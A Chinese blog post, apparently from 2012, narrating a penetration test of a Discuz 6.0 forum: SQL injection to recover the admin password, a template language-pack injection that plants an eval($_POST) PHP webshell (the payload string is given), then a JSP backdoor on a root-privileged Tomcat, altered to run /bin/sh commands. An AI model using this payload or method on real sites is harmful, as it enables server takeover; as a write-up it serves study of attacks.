渗透过程中获取root权限的一个案例

原创 2012年03月29日 10:11:38
最近在一次渗透测试中对权限的提升了有了一点思路,不是说多清晰,但却是从无到有。
 
测试过程:
 
1、首先探测目标。
 
经过探测,确认目标网站采用Linux+Apache+Tomcat+MySQL架构,其论坛则采用Discuz 6.0(PHP)。
 
2、确定攻击方向。
 
经过简单测试,网站管理后台不存在常见用户名和密码组合,同时Tomcat 无弱口令漏洞,而Discuz 6存在多个漏洞,因此基本选定论坛作为主攻方向。
 
3、发现漏洞。
 
经过查询漏洞公告,发现了论坛上几个跨站点,但是注入点测试均不成功。于是利用扫描器对网站和论坛进行应用与系统扫描,发现存在跨站与SQL注入。
 
4、利用漏洞。
 
两相比较,注入点比跨站危害更大,获取信息手段更直接,因此,首先考虑利用SQL注入漏洞。将注入点放到穿山甲(Pangolin )中进行数据猜解,成功猜解出当前
 
数据库用户、数据库版本、数据库名称等敏感数据。但是对表的猜解出现问题,无法猜解出完整表名,只能大概确定表前缀为“cdb_”(见笑了,我对Discuz 不了解)。多次使用穿山甲并更换版本,仍无法成功猜解表名。
 
无奈之下,只有从其他方向入手。因此,搜索并下载了Discuz 6,对其数据库分析,这时我才知道原来“cdb_”是Discuz 的固定表名前缀。到这里,确定了需要猜解的表名cdb_admin。手动添加表名及关键列名至pangolin 中,继续猜解,成功猜解出论坛admin的密文,经过查询,获取了管理密码明文。
 
5、获取webshell。 www.2cto.com
 
在成功进入管理后台后,我一度迷茫,被网上各种利用Discuz 后台获取webshell的方法所困惑。为保险起见,我在本地搭建测试环境,多次尝试利用模板编辑的语言包部分进行一句话木马的获取,均不成功。无奈之下只好再次转向注入点的利用。
 
然而,令人失望的是,经过多次猜解,仍不能获取网站后台用户信息。悲剧的一天就这么结束了。
 
第二天,我不得不继续Discuz 后台的渗透,比较幸运的是,很快搜索到了相关的技巧。具体过程是:进入后台后,点击【模板管理】->【模板编辑】,在【默认模板】后面点击【详情】,在【Discuz!语言包】下面点击【actions】后的【编辑】,拉到最后面,在【guest】里面把【游客】改为 游客\\\\\\\\');eval($_POST[c]);echo (""//。
 
经过本地测试,取得了成功,于是在目标论坛上尝试,成功插入了一句话木马,进而上传了大马。
 
6、提权。
 
由于php的权限较低,无法读取一些系统文件和配置文件,更别说执行系统命令,因此必须进行提权。
 
首先我想到的是MySQL提权,因为之前有类似经历。不过,管理员对数据库用户权限进行了严格划分,目标网站使用的用户仅仅是dbowner权限。而利用websehll进行了数据搜寻后始终无法获取root用户密码,不得已放弃此路。
 
正所谓“山重水复疑无路,柳暗花明又一村”。一筹莫展之际,我突然想到,到现在为止我都未利用网站采用的Tomcat 服务器。与asp.net一样,jsp的权限一般都比较大。于是,我上传jsp后门至网站根目录。果然,利用JSP后门可以成功读取系统文件。恰在此时,我在网上看到邪恶八进制里一篇文章曾提到过:上传JSP后门至Tomcat 类网站目录,直接获取服务器root权限,汗......真的打开了/root目录。
 
7、最终提权
 
之所以还有一个最终提权,是因为在第六步中,虽然已经获取了root权限,但是却无法执行系统命令。我使用的是JSP Browser1.2。而数据库root用户密码仍不可得,因此到目前无法真正完全获取服务器权限(添加一个管理员账号)。
 
对JSP一窍不同的我,经过搜索与询问,确认是可以利用JSP执行Linux系统命令的。但无奈自己水平太低,不会手动写。只好分析JSP Browser 。让我吃惊的是,原来,该后门实际上是提供Linux 命令执行功能的:
 
private static final String[] COMMAND_INTERPRETER = {"cmd", "/C"}; // Dos,Windows
 
//private static final String[] COMMAND_INTERPRETER = {"/bin/sh","-c"}; // Unix
 
稍微懂点代码的人都知道上面是什么意思了。至此,问题就简单了,将windows 类的注释掉,启用Unix 类即可。修改完成后重新上传该Webshell,成功执行系统命令。
 
后记:
 
此次渗透中我学到了提权的两种方法。
 
1、查找数据库配置文件,获取数据库root用户,进而获取系统root权限。
 
2、利用Tomcat默认配置下运行权限为root权限进行提权,最终获取root权限。

一则利用内核漏洞获取root权限的案例

kernel 最近出了一个新的本地提权安全漏洞CVE-2013-1763,影响范围比较广泛,ubuntu,Arch,fedora都受到其影响,漏洞刚公布就有牛人发布了利用该漏洞获取root权限的攻击代...

Grid软件安装过程中orainstRoot.sh和root.sh脚本到底做了什么?

Grid软件安装过程中orainstRoot.sh和root.sh脚本到底做了什么? 作者:Asher | 分类:Oracle, RAC | Tag:grid, oracle 11g |...
  • haiross
  • haiross
  • 2014年02月13日 16:44
  • 3432

学习过程中的一个初步验证程序

  • 2010年06月21日 15:55
  • 144KB
  • 下载

安装Ubuntu版本linux过程中没有提示设置root用户密码问题的解决办法

今天,在VMware7上安装ubuntu-10.04的镜像文件时,安装过程中没有提示设置超级用户root密码,只是让设置了普通用户的用户名和登录密码,在系统安装完毕后,我打开了终端,输入例如:shut...

rac安装过程中安装grid infrastructure 时 运行root.sh报错,完全删除grid infrastructure

未能创建磁盘组DATA,返回消息如下: ORA-15018:diskgroup connot be create ORA-15020:discovered duplicate ASM disk "...

Grid软件安装过程中orainstRoot.sh和root.sh脚本到底做了什么?

在Linux平台上,从Oracle 11gR2开始,不论是单实例的库,还是RAC库,如果需要用到ASM时,通常都需要单独安装Grid Infrastructure软件。而在Linux平台上以图形界面【...

项目研发过程中总结的几个案例-WEB-SCADA电气主接线图编辑工具

提供一次接线图绘图工具,可按照电气工程图绘制电网设备结构图。监控实时波动数值....
  • hxmcGu
  • hxmcGu
  • 2013年07月21日 20:30
  • 3551
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:渗透过程中获取root权限的一个案例
举报原因:
原因补充:

(最多只允许输入30个字)